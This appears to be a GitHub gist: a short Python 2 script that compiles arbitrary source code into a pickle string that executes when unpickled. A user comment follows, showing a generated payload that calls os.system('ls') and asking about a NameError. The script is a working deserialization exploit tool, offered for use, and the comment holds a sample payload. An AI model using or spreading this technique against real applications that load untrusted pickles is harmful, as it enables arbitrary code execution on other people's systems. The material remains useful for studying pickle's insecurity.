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compile arbitrary python source code into pickle format. will execute on unpickling
## Frederik Braun, Jun 2011
## Contact: <fb(AT)frederik-braun.com>
## Licence: WTFPL
## Python 2.7x
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
"""
Usually pickle can only be used to (de)serialize objects.
This tiny snippet will allow you to transform arbitrary python source
code into a pickle string. Unpickling this string with pickle.loads()
will execute the given soruce code.
The trick is actually prettey easy: Usually eval() will only accept
expressions, thus class and function declarations does not work.
Using the work-around of code objects (returned by compile()), we can
execute real python source code :)
"""
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print "usage: ./%s file\n\nfile\tfile to compile into a pickle string" % argv[0]
if len(argv) == 2:
print repr(picklecompiler(argv[1]))
else:
usage()
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bit4woo commented Mar 22, 2017

hello,I try to use this script to pickle my code:

import os

def fib(n):
    if n <= 1:
        return n
    return fib(n-1) + fib(n-2)
print fib(10)
os.system('ls')

got the payload, and save it to poc.pickle:

c__builtin__
eval
(c__builtin__
compile
(S"import os\n\ndef fib(n):\n    if n <= 1:\n        return n\n    return fib(n-1) + fib(n-2)\nprint fib(10)\nos.system('ls')"
S'<payload>'
S'exec'
tRtR.

but when I try to test the payload with the following code:

import pickle

pickle.load(open('./poc.pickle'))

I got error:

  File "C:\Python27\lib\pickle.py", line 1382, in loads
    return Unpickler(file).load()
  File "C:\Python27\lib\pickle.py", line 858, in load
    dispatch[key](self)
  File "C:\Python27\lib\pickle.py", line 1133, in load_reduce
    value = func(*args)
  File "<payload>", line 7, in <module>
  File "<payload>", line 6, in fib
NameError: global name 'fib' is not defined

my question is:
if I am not misunderstood ,this script should support to execute any python code.

but the error is about the function,maybe some issue.

hope your response,thanks!

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